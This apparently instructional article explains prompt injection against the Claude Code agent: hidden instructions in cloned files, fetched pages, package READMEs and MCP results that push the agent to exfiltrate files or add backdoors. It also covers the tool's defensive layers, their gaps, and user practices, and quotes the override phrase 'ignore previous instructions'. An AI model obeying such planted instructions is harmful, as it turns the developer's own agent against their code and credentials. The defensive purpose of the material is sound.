Prompt Injection: Threats and Defenses

The Injection Surface in Agentic Coding

In a chat interface, prompt injection is theoretical — an attacker would need to control part of your conversation. In agentic coding, it becomes practical: Claude reads files, fetches web pages, processes git issue titles, installs packages with README files, and handles MCP tool results. Every piece of external content Claude processes is a potential injection surface.

The attack is straightforward in concept: an attacker places instructions inside content they control, knowing Claude will process it as part of a task. A repository a developer clones might contain a CONTRIBUTING.md with hidden instructions. A web page Claude fetches might embed invisible text with instructions to exfiltrate the contents of files it just read. A malicious npm package README might tell Claude to add a backdoor while "fixing a dependency issue."

The attacker never interacts with Claude directly. They rely on the developer asking Claude to do something that requires reading attacker-controlled content.

Claude Code's Defensive Layers

Claude Code includes several defenses specifically designed for agentic prompt injection:

• Separate context window for WebFetch: When Claude fetches a web page, the content is processed in a separate context window rather than injected directly into the main conversation context. This prevents a web page from embedding instructions that Claude reads as part of the normal conversation flow.
• Classifier strips tool results: The auto-mode classifier reads only user messages and tool calls — not tool results. This means hostile content in a file Claude read or a web page it fetched cannot manipulate the classifier's safety decisions. The classifier evaluates behavior, not file contents.
• Server-side probe: A separate server-side probe scans incoming tool results before Claude processes them and flags suspicious content. This is an additional layer that operates before Claude reads the results.
• Permission system: Sensitive operations require explicit approval regardless of what instructions appeared in external content. Even if injection succeeds at the model layer, many consequential actions still require your confirmation.
• Network command default-deny: curl, wget, and similar network tools require explicit approval — they are not auto-approved even for read-only requests. This slows down a successful injection that tries to exfiltrate data via network commands.

What These Defenses Do Not Cover

Claude Code's defenses significantly reduce injection risk but do not eliminate it. The most important gap: the model itself can still be influenced. The separate WebFetch context window, the classifier's tool-result stripping, and the server-side probe all operate on what Claude does with content — but Claude still reads the content, and sufficiently convincing injected instructions can influence its behavior even when the technical defenses are in place.

Think of the defenses as raising the bar, not as a complete solution. A casual "ignore previous instructions" in a file is caught. A sophisticated, contextually appropriate injection that mimics legitimate project instructions is much harder to detect at any layer.

MCP Security

MCP servers introduce a specific injection surface: tool results from MCP tools return as content Claude processes, and an MCP server you connect to is effectively trusted to provide those results. Anthropic reviews connectors for its Directory against listing criteria, but does not security-audit the servers themselves. An MCP server you configure is your responsibility to vet.

For MCP tools that legitimately require user approval before executing — authentication flows, purchases, irreversible actions — tool authors can mark individual tools with _meta[\"anthropic/requiresUserInteraction\"]. Tools marked this way always prompt for confirmation, even in auto mode and dontAsk mode. Claude Code shows an approval card that requires an explicit answer before the tool proceeds. This mechanism ensures a consent step is never auto-approved on the tool author's behalf.

A Practical Defensive Workflow

The official guidance from the security page translates into four concrete practices:

• Review commands before approving: In Manual or acceptEdits mode, you see every shell command before it runs. If a command looks unexpected given what you asked Claude to do — especially one involving network access, file reads from unusual locations, or writes to sensitive paths — pause and investigate before approving.
• Do not pipe untrusted content to Claude: cat suspicious-file.txt | claude or curl attacker.com/payload | claude places attacker-controlled content directly in the conversation context, bypassing the WebFetch isolation. Read untrusted content through file tools instead.
• Use VMs or dev containers for untrusted scripts: When Claude needs to run scripts from external sources — setup scripts from tutorials, build scripts from third-party repositories — do it inside an isolated environment where a successful injection cannot reach your credentials or host filesystem.
• Report suspicious behavior with /feedback: If Claude suggests an action that seems inconsistent with your request — especially involving network access, credential files, or configuration changes — use /feedback before approving anything. The behavior may indicate a successful injection.

Balancing Caution with Utility

The goal is not to prevent Claude from reading external content — that would eliminate most of what makes it useful. The goal is to maintain awareness of the injection surface and apply proportional caution. Fetching documentation from a known, trusted source is low risk. Processing arbitrary files from an untrusted repository while in auto mode with broad allow rules is high risk. Most workflows fall somewhere between those extremes, and the right defense is proportional to the specific context.